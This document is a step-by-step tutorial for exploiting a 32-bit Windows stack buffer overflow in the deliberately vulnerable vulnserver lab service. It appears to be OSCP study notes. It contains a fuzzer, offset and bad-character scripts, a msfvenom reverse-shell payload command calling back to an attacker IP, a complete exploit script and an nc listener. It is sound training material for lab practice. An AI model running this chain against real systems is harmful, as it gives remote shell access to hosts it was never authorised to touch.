Stack BOF walkthrough — end to end

Stack BOF walkthrough — end to end

TL;DR: Six-step recipe for a classic 32-bit Windows stack buffer overflow with DEP/ASLR off: fuzz → crash → control EIP → bad chars → JMP ESP → shellcode. Practise this on vulnserver until it takes 20 minutes. Companion to stack-buffer-overflow and porting-public-exploits.

Target setup

  • Windows 7/10 VM with a deliberately vulnerable service: vulnserver, Brainpan, SLMail, Crossfire — pick one.
  • Immunity Debugger + mona.py installed (or x64dbg + ERC).
  • Kali attacker on the same network.
  • Take a clean snapshot of the target before you start.

Step 0 — attach the debugger

1
2
File → Attach → vulnserver.exe
F9 to run

The service should be reachable on its port (vulnserver: 9999).

Step 1 — fuzz

You want the size of input that causes a crash.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python3
import socket, time

ip   = "10.10.10.5"
port = 9999
cmd  = "TRUN "
size = 100
inc  = 100

while True:
    try:
        with socket.create_connection((ip, port), timeout=5) as s:
            s.recv(1024)
            print(f"[+] sending {size} bytes")
            s.send((cmd + "A"*size + "\r\n").encode())
            s.recv(1024)
        size += inc
        time.sleep(0.5)
    except Exception as e:
        print(f"[!] crashed at {size} bytes ({e})")
        break

Debugger should show an access violation; EIP looks like 41414141 (that’s ASCII ‘A’). Note the crash size, e.g. 2700.

Step 2 — find the EIP offset

1
2
# generate a unique 3000-byte cyclic pattern
msf-pattern_create -l 3000 > pattern.txt

Send it once:

1
payload = b"TRUN " + open("pattern.txt","rb").read() + b"\r\n"

Read EIP from the debugger after the crash (e.g. 0x386F4337):

1
2
msf-pattern_offset -l 3000 -q 386F4337
# → exact match at offset 2003

Step 3 — confirm EIP control

1
2
offset    = 2003
payload   = b"TRUN " + b"A"*offset + b"BBBB" + b"C"*(3000-offset-4) + b"\r\n"

Restart vulnserver (or use mona’s !mona pc to re-prime). Send. EIP should now be exactly 42424242. If not, your offset is wrong — recount.

Step 4 — bad characters

Some bytes corrupt the input (\x00 always; \x0a/\x0d often in line-based protocols; web protocols often &, =, +). You need to know which to exclude from your shellcode.

1
2
badchars = bytes(range(1, 256))   # 0x01..0xFF
payload  = b"TRUN " + b"A"*offset + b"BBBB" + badchars + b"\r\n"

In Immunity:

1
!mona compare -f badchars.bin -a <ESP_addr>

badchars.bin is a file you write containing 0x01..0xFF in order. Mona shows where the bytes diverge — those are bad chars. Common result for vulnserver TRUN: \x00.

Re-run, removing each newly-found bad char from the array, until mona reports “Unmodified”.

Step 5 — find a JMP ESP

After EIP overwrite, ESP points to whatever you wrote after the 4 EIP bytes. So if EIP = address of a JMP ESP instruction, control flows into your post-EIP bytes — your shellcode.

1
!mona modules

Look for a module with all protections False (ASLR/SafeSEH/Rebase/NX) and no version dependence. For vulnserver that’s essfunc.dll.

1
!mona find -s "\xff\xe4" -m essfunc.dll

Pick an address that contains no bad chars (e.g. 0x625011AF). Endian-swap for the payload:

1
ret = b"\xaf\x11\x50\x62"   # little-endian

Step 6 — shellcode

Generate a payload that excludes your bad chars and is small enough.

1
2
3
4
5
msfvenom -p windows/shell_reverse_tcp \
  LHOST=10.10.14.5 LPORT=4444 \
  -b '\x00' \
  EXITFUNC=thread \
  -f python -v shellcode

EXITFUNC=thread is critical — process exits the whole service after your shell drops, killing your shell with it.

Final payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import socket
ip, port = "10.10.10.5", 9999
offset   = 2003
ret      = b"\xaf\x11\x50\x62"             # JMP ESP in essfunc.dll
nops     = b"\x90" * 16                    # landing pad
shellcode = b"\xdb\xcb\xb8..."             # msfvenom output

payload  = b"TRUN " + b"A"*offset + ret + nops + shellcode + b"\r\n"

# listener first!
# nc -lvnp 4444

with socket.create_connection((ip, port)) as s:
    s.recv(1024)
    s.send(payload)

Catch:

1
2
3
nc -lvnp 4444
# Microsoft Windows [Version ...]
# C:\>

Common failures and what to check

  • EIP isn’t 42424242 → offset wrong, or you have multiple matches (pattern too short). Use pattern_offset carefully.
  • EIP is 42424242 but shellcode doesn’t fire → bad chars not fully eliminated, or JMP ESP gadget has a bad-char byte in its address.
  • You get a shell but it dies in secondsEXITFUNC=thread not set, or shellcode size > buffer remaining after EIP.
  • Connection refused on listener → firewall on Kali, or you sent the payload before starting nc.

Practice ladder (in this order)

  1. vulnserver — TRUN (textbook BOF).
  2. vulnserver — KSTET (egghunter — see egghunters).
  3. vulnserver — GMON (SEH overwrite — see seh-overwrite).
  4. Brainpan (full box from THM).
  5. SLMail (HackTheBox-style).
  6. Crossfire (Linux variant, ELF + execve shellcode).

Beyond the basics — what the modern OSCP expects you to know

For OSCP itself, the textbook 32-bit no-mitigations chain is still in scope and still appears in the lab. Practise it cold.

References